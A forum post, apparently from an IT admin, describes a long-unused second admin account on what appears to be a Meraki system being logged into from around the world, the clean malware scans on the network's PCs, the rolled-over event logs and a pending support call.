I got one of these a 2 weeks ago (which I missed as I was on holiday) and then this morning.
Checked and there's been multiple failed aand sucesfull logins to a second admin account from all over the world.
admin2 is the compromised account. admin1 is mine.

What's strange is this admin2 account was created about 6 years ago and never used.
What's more confusing is that the persons email account never got any of the emails with a confirmation code to login with. (perhpas something with it being so old it doesn't get it?)
What's not confusing is what they were up to...

PC it was run on seems fine, run 3 different AV/Anti malware and Autoruns.(open to anything else worth running on it)
other 5 PCs on the network we've run the above and seem fine.
Unfortuantly all the event logs have rolled over from the date it occured 😞
I won't lie, admin2 probably had a crappy password but not sure how they got around the email alerts.(will be looking at uses laptop soon)
Awaiting a call from Meraki now to speak to them about it... will update if anything interesting... Merry Christmas!
